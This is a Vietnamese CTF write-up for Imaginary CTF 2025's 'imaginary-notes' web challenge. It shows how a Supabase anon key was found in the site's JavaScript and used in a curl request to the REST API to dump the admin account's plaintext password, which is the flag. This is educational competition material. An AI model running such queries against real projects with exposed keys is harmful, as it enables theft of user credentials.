Web / Imaginary-notes - Imaginary CTF 2025
A writeup on the Web / Imaginary-notes challenge from Imaginary CTF 2025
Đề bài
imaginary-notes (100pts)
Description
I made a new note taking app using Supabase! Its so secure, I put my flag as the password to the "admin" account. I even put my anonymous key somewhere in the site. The password database is called, "users". http://imaginary-notes.chal.imaginaryctf.org
Hướng giải
Page không đưa source, nên mình inspect thoi~
Tự tin bấm Ctrl + U :
<!DOCTYPE html><htmllang="en"><head><metacharSet="utf-8"/><metaname="viewport"content="width=device-width, initial-scale=1"/><linkrel="preload"href="/_next/static/media/569ce4b8f30dc480-s.p.woff2"as="font"crossorigin=""type="font/woff2"/><linkrel="preload"href="/_next/static/media/93f479601ee12b01-s.p.woff2"as="font"crossorigin=""type="font/woff2"/><linkrel="stylesheet"href="/_next/static/css/2225eefbadc187f6.css"data-precedence="next"/><linkrel="preload"as="script"fetchPriority="low"href="/_next/static/chunks/webpack-618f707b9330ea0a.js"/><scriptsrc="/_next/static/chunks/4bd1b696-52a6696c08e3276c.js"async=""></script><scriptsrc="/_next/static/chunks/684-d252a3b20a10e7f9.js"async=""></script><scriptsrc="/_next/static/chunks/main-app-f38f0d9153b95312.js"async=""></script><scriptsrc="/_next/static/chunks/825-fc37c436f8ffa837.js"async=""></script><scriptsrc="/_next/static/chunks/app/page-d6e80645a3072dd9.js"async=""></script><metaname="next-size-adjust"content=""/><title>Imaginary Notes</title><metaname="description"content="Generated by create next app"/><linkrel="icon"href="/favicon.ico"type="image/x-icon"sizes="16x16"/><script>document.querySelectorAll('body link[rel="icon"], body link[rel="apple-touch-icon"]').forEach(el => document.head.appendChild(el))</script><scriptsrc="/_next/static/chunks/polyfills-42372ed130431b0a.js"noModule=""></script></head><bodyclass="__variable_5cfdac __variable_9a8899"><divhidden=""><!--$--><!--/$--></div><mainclass="min-h-screen flex items-center justify-center p-6"><formclass="max-w-sm w-full space-y-4"><h1class="text-2xl font-bold">Login / Signup</h1><inputtype="text"placeholder="Username"class="w-full border p-2 rounded"value=""/><inputtype="password"placeholder="Password"class="w-full border p-2 rounded"value=""/><divclass="flex gap-4"><buttonclass="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700 w-full">Log In</button><buttonclass="bg-green-600 text-white px-4 py-2 rounded hover:bg-green-700 w-full">Sign Up</button></div></form></main><!--$--><!--/$--><scriptsrc="/_next/static/chunks/webpack-618f707b9330ea0a.js"async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[7555,[],\"\"]\n3:I[1295,[],\"\"]\n4:I[894,[],\"ClientPageRoot\"]\n5:I[5485,[\"825\",\"static/chunks/825-fc37c436f8ffa837.js\",\"974\",\"static/chunks/app/page-d6e80645a3072dd9.js\"],\"default\"]\n8:I[9665,[],\"OutletBoundary\"]\nb:I[4911,[],\"AsyncMetadataOutlet\"]\nd:I[9665,[],\"ViewportBoundary\"]\nf:I[9665,[],\"MetadataBoundary\"]\n11:I[6614,[],\"\"]\n:HL[\"/_next/static/media/569ce4b8f30dc480-s.p.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/media/93f479601ee12b01-s.p.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/css/2225eefbadc187f6.css\",\"style\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"QbwB7LMHEfVI8fArYFmUB\",\"p\":\"\",\"c\":[\"\",\"\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"__PAGE__\",{}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/2225eefbadc187f6.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"className\":\"__variable_5cfdac __variable_9a8899\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[\"$\",\"$L4\",null,{\"Component\":\"$5\",\"searchParams\":{},\"params\":{},\"promises\":[\"$@6\",\"$@7\"]}],null,[\"$\",\"$L8\",null,{\"children\":[\"$L9\",\"$La\",[\"$\",\"$Lb\",null,{\"promise\":\"$@c\"}]]}]]}],{},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$1\",\"PWEs2CazeCs4r3hOwh70dv\",{\"children\":[[\"$\",\"$Ld\",null,{\"children\":\"$Le\"}],[\"$\",\"meta\",null,{\"name\":\"next-size-adjust\",\"content\":\"\"}]]}],[\"$\",\"$Lf\",null,{\"children\":\"$L10\"}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$11\",\"$undefined\"],\"s\":false,\"S\":true}\n"])</script><script>self.__next_f.push([1,"12:\"$Sreact.suspense\"\n13:I[4911,[],\"AsyncMetadata\"]\n6:{}\n7:{}\n10:[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$12\",null,{\"fallback\":null,\"children\":[\"$\",\"$L13\",null,{\"promise\":\"$@14\"}]}]}]\n"])</script><script>self.__next_f.push([1,"a:null\n"])</script><script>self.__next_f.push([1,"e:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n9:null\n"])</script><script>self.__next_f.push([1,"c:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"Imaginary Notes\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Generated by create next app\"}],[\"$\",\"link\",\"2\",{\"rel\":\"icon\",\"href\":\"/favicon.ico\",\"type\":\"image/x-icon\",\"sizes\":\"16x16\"}]],\"error\":null,\"digest\":\"$undefined\"}\n14:{\"metadata\":\"$c:metadata\",\"error\":null,\"digest\":\"$undefined\"}\n"])</script></body></html>Thất sách rồi, tìm này tới kiếp sau mới ra 😞
Bấm Ctrl + Shift + I thì may ra:

Lục lọi tìm tòi ngay từ file page-d6e80645a3072dd9.js vô tình mình thấy luôn:
a(5647).UU)("https://dpyxnwiuwzahkxuxrojp.supabase.co", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI");Thì ở đây, web đang kết nối đến Supabase đúng như đề bài nói :D
Ở dưới đoạn code đó cũng có cho mình thấy cách hoạt động của database luôn:
async function d(a) {
a.preventDefault(),
c("");
let {data: t, error: r} = await l.from("users").select("*").eq("username", s).eq("password", u).single();
r || !t ? c("Invalid username or password") : (localStorage.setItem("username", s),
e.push("/notes"))
}
async function p(a) {
a.preventDefault(),
c("");
let {data: t} = await l.from("users").select("id").eq("username", s).maybeSingle();
if (t)
return void c("Username already exists");
let {error: r} = await l.from("users").insert([{
username: s,
password: u
}]);
r ? c("Signup failed: " + r.message) : (localStorage.setItem("username", s),
e.push("/notes"))
}→ Nó check trực tiếp trong bảng users với username và password. Dẫn đến, khi signup, code sẽ insert thẳng vào bảng users.
→ Không có sanitize hay hash password gì cả, chỉ raw query trực tiếp.
Vậy thì ở đây mình có gì?
- Link đến Supabase:
https://dpyxnwiuwzahkxuxrojp.supabase.co - Nguyên cái API:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI
Vậy thì mở WSL lên ròi đưa nó chạy thoi. Mình sẽ để format cho những bạn không nắm rõ mình đang làm gì.
Format để các bạn thực hiện:
curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/notes" \
-H "apikey: <API_KEY>" \
-H "Authorization: Bearer <API_KEY>"
Vậy thì:
harshfeudal@harshfeudal:~$ curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?username=eq.admin" \
-H "apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI"
Sau khi ấn enter, các bạn sẽ thấy được như sau:
[{"id":"5df6d541-c05e-4630-a862-8c23ec2b5fa9","username":"admin","password":"ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}"}]
Vậy flag của challenge sẽ là:
ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}
Lời kết
Bài cơ bản nên viết cho có writeup cho vui :D
